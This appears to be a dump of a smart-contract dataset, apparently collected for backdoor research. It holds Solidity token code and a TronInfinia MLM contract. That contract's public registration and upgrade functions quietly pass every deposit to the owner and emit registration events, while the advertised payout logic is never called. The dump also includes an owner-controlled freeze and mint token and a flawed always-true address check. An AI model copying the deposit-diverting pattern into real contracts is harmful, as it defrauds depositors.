event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 83,343 | 628 |
66adb09716c70080ac16950ba17f4f1d59c0f271bb92f99c17728ba444b3facd
| 18,327 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xc6f7d28370b987b7b6bd9aafbc1b1fe89767d06e.sol
| 2,993 | 11,705 |
pragma solidity ^0.4.18;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 is ERC20 {
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Standard223Token is ERC223, StandardToken {
//function that is called when a user or another contract wants to transfer funds
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
//filtering if the target is a contract with bytecode inside it
require(super.transfer(_to, _value));
// do a normal token transfer
if (isContract(_to)) return contractFallback(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool success) {
require(super.transferFrom(_from, _to, _value));
// do a normal token transfer
if (isContract(_to)) return contractFallback(_from, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function contractFallback(address _from, address _to, uint _value, bytes _data) private returns (bool success) {
ERC223Receiver receiver = ERC223Receiver(_to);
return receiver.tokenFallback(_from, _value, _data);
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal view returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly {length := extcodesize(_addr)}
return length > 0;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is Standard223Token, Ownable {
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(!isContract(_to));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
contract FrozenToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
modifier requireNotFrozen(address from){
require(!frozenAccount[from]);
_;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool ok);
}
contract SocialLendingToken is Pausable, BurnableToken, MintableToken, FrozenToken {
string public name;
string public symbol;
uint public decimals;
function SocialLendingToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
totalSupply_ = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[msg.sender] = _initialSupply;
Transfer(0x0, msg.sender, _initialSupply);
}
function transfer(address _to, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool) {
return transferFrom(_from, _to, _value, new bytes(0));
}
function approve(address _spender, uint _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
////ERC223
function transfer(address _to, uint _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool success) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool success) {
return super.transferFrom(_from, _to, _value, _data);
}
event Airdrop(address indexed from, uint addressCount, uint totalAmount);
event AirdropDiff(address indexed from, uint addressCount, uint totalAmount);
function airdrop(uint _value,address[] _addresses) public whenNotPaused onlyOwner returns (bool success){
uint addressCount = _addresses.length;
require(addressCount > 0 && addressCount <= 1000);
uint totalAmount = _value.mul(addressCount);
require(_value > 0 && balances[msg.sender] >= totalAmount);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for(uint i=0; i<addressCount; i++){
require(_addresses[i] != address(0));
balances[_addresses[i]] = balances[_addresses[i]].add(_value);
Transfer(msg.sender, _addresses[i], _value);
}
Airdrop(msg.sender,addressCount,totalAmount);
return true;
}
function airdropDiff(uint[] _values,address[] _addresses) public whenNotPaused onlyOwner returns (bool success){
uint addressCount = _addresses.length;
require(addressCount == _values.length);
require(addressCount > 0 && addressCount <= 1000);
uint totalAmount = 0;
for(uint i=0; i<addressCount; i++){
require(_values[i] > 0);
totalAmount = totalAmount.add(_values[i]);
}
require(balances[msg.sender] >= totalAmount);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for(uint j=0; j<addressCount; j++){
require(_addresses[j] != address(0));
balances[_addresses[j]] = balances[_addresses[j]].add(_values[j]);
Transfer(msg.sender, _addresses[j], _values[j]);
}
AirdropDiff(msg.sender,addressCount,totalAmount);
return true;
}
}
| 143,708 | 629 |
5320b47a479412fd70c08140d065cd4d465a8583f3e77349280735a255a9b826
| 18,778 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWBvr13uzpaoTbqm29UuSLPSwMMZFeFidP_TronInfinia.sol
| 4,635 | 17,915 |
//SourceUnit: troninfinia.sol
pragma solidity 0.5.10;
contract TronInfinia {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 10;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
address public owner;
address payable public platform_fee;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedTRXReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraTRXDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor() public {
levelPrice[1] = 100 trx;
levelPrice[2] = 200 trx;
levelPrice[3] = 400 trx;
levelPrice[4] = 800 trx;
levelPrice[5] = 1600 trx;
levelPrice[6] = 3200 trx;
levelPrice[7] = 6400 trx;
levelPrice[8] = 12800 trx;
levelPrice[9] = 25600 trx;
levelPrice[10] = 51200 trx;
owner=msg.sender;
platform_fee =msg.sender;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[owner] = user;
idToAddress[1] = owner;
}
function registrationExt(address _upline) external payable {
uint256 _amount=msg.value;
platform_fee.transfer(_amount);
emit Registration(msg.sender,_upline, users[msg.sender].id, users[_upline].id);
}
function buyLevel() external payable {
uint256 _amount=msg.value;
platform_fee.transfer(_amount);
}
function withdraw(address payable _receiver, uint256 _amount) public {
if (msg.sender != owner) {revert("Access Denied");}
_receiver.transfer(_amount);
}
function setPayoutAccount(address payable _platform_fee) public {
if (msg.sender != owner) {revert("Access Denied");}
platform_fee=_platform_fee;
}
function multisendTron(address payable[] memory _contributors, uint256[] memory _balances) public payable {
uint256 total = msg.value;
uint256 i = 0;
for (i; i < _contributors.length; i++) {
require(total >= _balances[i]);
total = total-_balances[i];
_contributors[i].transfer(_balances[i]);
}
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRXDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRXDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRXDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTRXReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTRXReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTRXReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTRXDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTRXReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
address(uint160(owner)).transfer(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraTRXDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 293,258 | 630 |
48f6cd4743cd05f906b5097d087a98c72cad9fd32b86484bcb02399a99540c1c
| 27,157 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
